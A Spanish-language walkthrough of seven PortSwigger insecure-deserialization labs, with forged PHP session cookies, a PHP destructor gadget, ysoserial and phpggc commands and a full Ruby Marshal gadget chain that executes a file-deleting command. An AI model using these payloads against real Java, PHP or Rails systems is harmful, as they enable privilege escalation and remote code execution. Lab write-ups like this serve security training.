📦 Deserialización Insegura
Resolución de los laboratorios de PortSwigger para Deserialización Insegura
📦¿Qué es la deserealización insegura?
La deserialización insegura es una vulnerabilidad que ocurre cuando una aplicación o API convierte datos manipulados por un atacante nuevamente en objetos sin realizar la validación adecuada.
Para comprender esta vulnerabilidad, es necesario entender el flujo de manejo de información en aplicaciones que trabajan con objetos y los comparten. La serialización es el proceso de convertir un objeto en un formato portátil, como JSON, XML o binario. A su vez, la deserialización es el proceso inverso, es decir, donde se toma el JSON, XML o binario y se reconstruye el objeto original.
Es aquí donde ocurre la vulnerabilidad: si en algún momento el atacante envía un objeto serializado con un payload malicioso y el servidor no realiza la validación correspondiente antes de deserializarlo, el atacante puede llegar a conseguir ejecución remota de comandos.
🧪Laboratorios
En este caso solo voy a resolver los laboratorios de dificultad practitioner.
En caso de que queráis ver la resolución directa de algún laboratorio, podéis utilizar el siguiente índice:
- Lab 1: Modifying serialized objects
- Lab 2: Modifying serialized data types
- Lab 3: Using application functionality to exploit insecure deserialization
- Lab 4: Arbitrary object injection in PHP
- Lab 5: Exploiting Java deserialization with Apache Commons
- Lab 6: Exploiting PHP deserialization with a pre-built gadget chain
- Lab 7: Exploiting Ruby deserialization using a documented gadget chain
Lab 1
Modifying serialized objects
Las instrucciones que tenemos para resolver este laboratorio son las siguientes:
To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user
carlos. You can log in to your own account using the following credentials:wiener:peter
Con esta información, vamos a iniciar sesión como el usuario wiener e interceptar una petición con Burp Suite para ver dónde se ubica el objeto con el que tendremos que trabajar.
En este caso observamos una cookie codificada en Base64, por lo que vamos a decodificarla y revisar su contenido.
Y como podemos ver, tenemos un objeto PHP con los siguientes campos:
- username = wiener
- admin = 0
El campo admin es un booleano que puede valer true (1) o false (0).
En este caso, podemos probar a crear nosotros una clase User en PHP y cambiar el username a administrator y el booleano admin a true.
Si ejecutamos este pequeño script, podemos ver el resultado de serializar este objeto y podemos codificarlo en Base64 para que tenga el mismo formato que en la petición original.
1
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjU6ImFkbWluIjtiOjE7fQ==
Y si probamos a sustituir nuestras cookies por las anteriores, vemos que obtenemos acceso al usuario administrador.
Lab 2
Modifying serialized data types
Para este laboratorio, las instrucciones son las mismas que para el anterior:
To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user
carlos. You can log in to your own account using the following credentials:wiener:peter
Así que vamos a volver a iniciar sesión como wiener y a capturar una petición con Burp Suite para localizar el objeto.
Y una vez más, encontramos un objeto PHP codificado en Base64. Así que lo decodificamos:
Este es el objeto que obtenemos:
1
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bqjtxrhc15keww3yp6fxzhhlvw7km9qv";}
Podríamos hacer lo mismo que en el laboratorio anterior y crear un objeto en PHP para serializarlo, pero también podemos editarlo a mano.
En este caso, podemos probar cosas como:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"bqjtxrhc15keww3yp6fxzhhlvw7km9qv";}
O, en su defecto:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:0:"";}
Pero veremos que ninguna de las dos funciona. Por lo tanto, podemos intentar cambiar el tipo del access_token y asignarle un número, concretamente 0, para que internamente pueda interpretarse como nada y comprobar si esto funciona.
1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
Vamos a probar a codificar en Base64 este payload y reemplazarlo por nuestra cookie.
1
2
3
echo "O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}" | base64 -w 0
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
Y volvemos a ver cómo conseguimos convertirnos en usuario administrador, igual que en el laboratorio anterior.
A partir de aquí, ya podemos borrar al usuario carlos.
Lab 3
Using application functionality to exploit insecure deserialization
En este caso, se nos pide que borremos un archivo que se encuentra en la ruta /home/carlos/morale.txt.
Además, vemos que se nos proporcionan dos credenciales válidas: wiener:peter y gregg:rosebud.
Vamos a iniciar sesión con uno de estos dos usuarios para comprobar dónde se encuentra el objeto.
Y una vez más, tenemos un objeto PHP codificado en Base64.
1
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v6t9a7ta0nv47bpou04zn1asbaf5gyba";s:11:"avatar_link";s:19:"users/wiener/avatar";}
Vemos una parte que nos llama bastante la atención: en el propio objeto aparece una ruta al avatar del usuario.
Podemos probar a cambiar esa ruta por /home/carlos/morale.txt, ya que además vemos que existe un botón de Delete account.
Esto, junto con las instrucciones proporcionadas al inicio del laboratorio:
To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos’s home directory.
nos hace sospechar que esta es la vía intencionada para resolverlo.
Probaremos esto con el usuario gregg por si no funciona o, en caso de necesitar modificar algo, usar después el usuario wiener.
En el caso de que hayáis construido mal el payload y borréis los dos usuarios sin resolver el laboratorio, tendréis que esperar unos 20 minutos.
En nuestro caso, probaremos a mandar este payload en la cookie.
Y una vez cambiada la cookie del usuario gregg, borraremos su cuenta para confirmar que, efectivamente, hemos eliminado el archivo.
No es necesario usar Burp Suite para enviar la cookie; podemos reemplazarla directamente desde el navegador.
Lab 4
Arbitrary object injection in PHP
En este caso, se nos vuelve a pedir que borremos el archivo /home/carlos/morale.txt, pero a diferencia del laboratorio anterior, solo se nos proporciona un usuario.
Como ya es costumbre hasta ahora, iniciaremos sesión como wiener y revisaremos la cookie para identificar de qué objeto se trata.
1
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"aku5ksilidwjvm1aum16s6p6cjnrbx06";}
Se trata de otro objeto PHP, pero si probamos todas las técnicas que hemos usado hasta ahora, veremos que ninguna funciona. Así que investigamos un poco más la página.
Vemos un information leakage donde se indica que hay que refactorizar el archivo /libs/CustomTemplate.php.
Así que intentamos ver ese archivo para comprobar qué contiene.
Si hacemos una petición normal, no veremos nada, pero en algunos casos, si añadimos un ~ al final del nombre del archivo, este puede mostrarse como texto plano.
Y en este caso, encontramos el siguiente código:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
Donde vemos que se llama a un método __destruct() que comprueba si existe un fichero y, si es así, lo borra.
Lo que podemos probar es construir una clase CustomTemplate donde indiquemos que lock_file_path sea la ruta del archivo que queremos eliminar, y después pasar ese objeto modificado dentro de la cookie para ver si conseguimos el borrado.
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class CustomTemplate {
public $lock_file_path = "/home/carlos/morale.txt";
}
$template = New CustomTemplate();
$s = serialize($template);
echo $s;
?>
1
2
php template.php
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Así que probamos a codificarlo en Base64 para mantener el formato original de la cookie y comprobar si así conseguimos resolver el laboratorio.
1
2
3
php template.php | base64 -w 0
TzoxNDpDdXN0b21UZW1wbGF0ZToxOntzOjE0OmxvY2tfZmlsZV9wYXRoO3M6MjM6L2hvbWUvY2FybG9zL21vcmFsZS50eHQ7fQo=
Y ahora, si reemplazamos nuestra cookie por esta cadena, vemos que sí somos capaces de resolver el laboratorio.
Lab 5
Exploiting Java deserialization with Apache Commons
Una vez más, nos piden que borremos el fichero /home/carlos/morale.txt. Pero en este caso se nos indica que la aplicación está hecha en Java y no en PHP.
Esto no supone un problema, ya que existe una herramienta en GitHub que permite generar objetos Java serializados de forma maliciosa. Podemos descargarla desde aquí:
GitHub
Además, también se menciona que la aplicación utiliza Apache Commons Collections:
This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library.
Una vez descargada la herramienta, y en el caso de que estéis usando una versión moderna de Java, el comando que debéis ejecutar para generar el payload es el siguiente:
1
2
3
4
5
6
java \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
-jar ysoserial.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64
Copiamos la cadena en Base64 que nos devuelve y la reemplazamos por nuestra cookie.
Para la librería CommonsCollections, existen 4 tipos distintos de payloads. En este caso ha funcionado el tipo CommonsCollections4, pero habría que probarlos todos hasta que uno funcionase.
Lab 6
Exploiting PHP deserialization with a pre-built gadget chain
Una vez más, nos piden que borremos el fichero /home/carlos/morale.txt, pero en este caso se nos indica que debemos usar un pre-built gadget chain attack:
Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.
Al igual que en Java utilizábamos ysoserial, en PHP existe una herramienta equivalente que permite generar payloads maliciosos basados en cadenas de gadgets ya conocidas.
Podemos descargarla desde GitHub: https://github.com/ambionics/phpggc
Si interceptamos la petición y analizamos la cookie, vemos lo siguiente:
La cookie tiene dos partes: la primera es un token y la segunda es una clave firmada con HMAC‑SHA1.
Si jugamos un poco con la aplicación y forzamos un error enviando una cookie inválida, veremos el siguiente mensaje:
1
2
3
4
HTTP/2 500 Internal Server Error
Content-Length: 45
Internal Server Error: Symfony Version: 4.3.6
Esto nos ayuda a identificar qué software se está utilizando por detrás, por lo que podemos usar la herramienta que acabamos de descargar para generar un payload específico.
Pero en este caso, si reemplazamos el token en Base64 por este nuevo y lo enviamos, veremos un error, ya que la cookie no es válida.
Esto nos puede hacer pensar que la firma SHA1 está vinculada al token y que ambas tienen que coincidir.
Indagando un poco más por la página, vemos un information leakage que nos revela un archivo llamativo: <!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->.
Si examinamos ese archivo detenidamente, veremos la siguiente clave secreta:
Tiene toda la pinta de que esta es la clave secreta que firma el token y que se usa como segundo parámetro en la cookie.
A partir de aquí, podemos construir nuestra propia cookie: la primera parte será el payload generado con la herramienta, y la segunda será el hash SHA1 del token firmado con la clave privada que hemos encontrado.
1
2
3
4
5
6
7
8
9
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "24lqtujd2hrzrxsutu591krkpeknmhtt";
$cookie = urlencode('{"token":"' .$object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>
Una vez ejecutado todo el código obtenemos la cookie URL‑encodeada, por lo que solo haría falta capturar una petición con BurpSuite y reemplazarla para resolver el laboratorio.
Lab 7
Exploiting Ruby deserialization using a documented gadget chain
En este caso se nos pide usar una gadget chain igual que en el laboratorio anterior, pero esta vez para Ruby:
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.
A diferencia de PHP o Java, aquí no encontraremos una herramienta tan directa en GitHub, así que toca buscar un poco más por Internet.
Aquí tienes algunos enlaces útiles:
- https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
- Lhttps://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html3
En cada uno de estos enlaces veréis código Ruby que explota deserializaciones inseguras. No obstante, el que me ha funcionado es el del segundo enlace.
Una vez que tenemos el código, el exploit es relativamente sencillo: donde aparece id, escribimos rm /home/carlos/moralte.txt. Quedaría así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.strict_encode64(payload)
Nótese que hemos modificado las últimas líneas del script para que, al ejecutarlo, nos devuelva directamente el objeto en Base64.
Y una vez que ejecutamos este archivo, obtenemos la siguiente cookie:
1
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
Ahora simplemente la reemplazamos por la nuestra y conseguimos completar el laboratorio.
















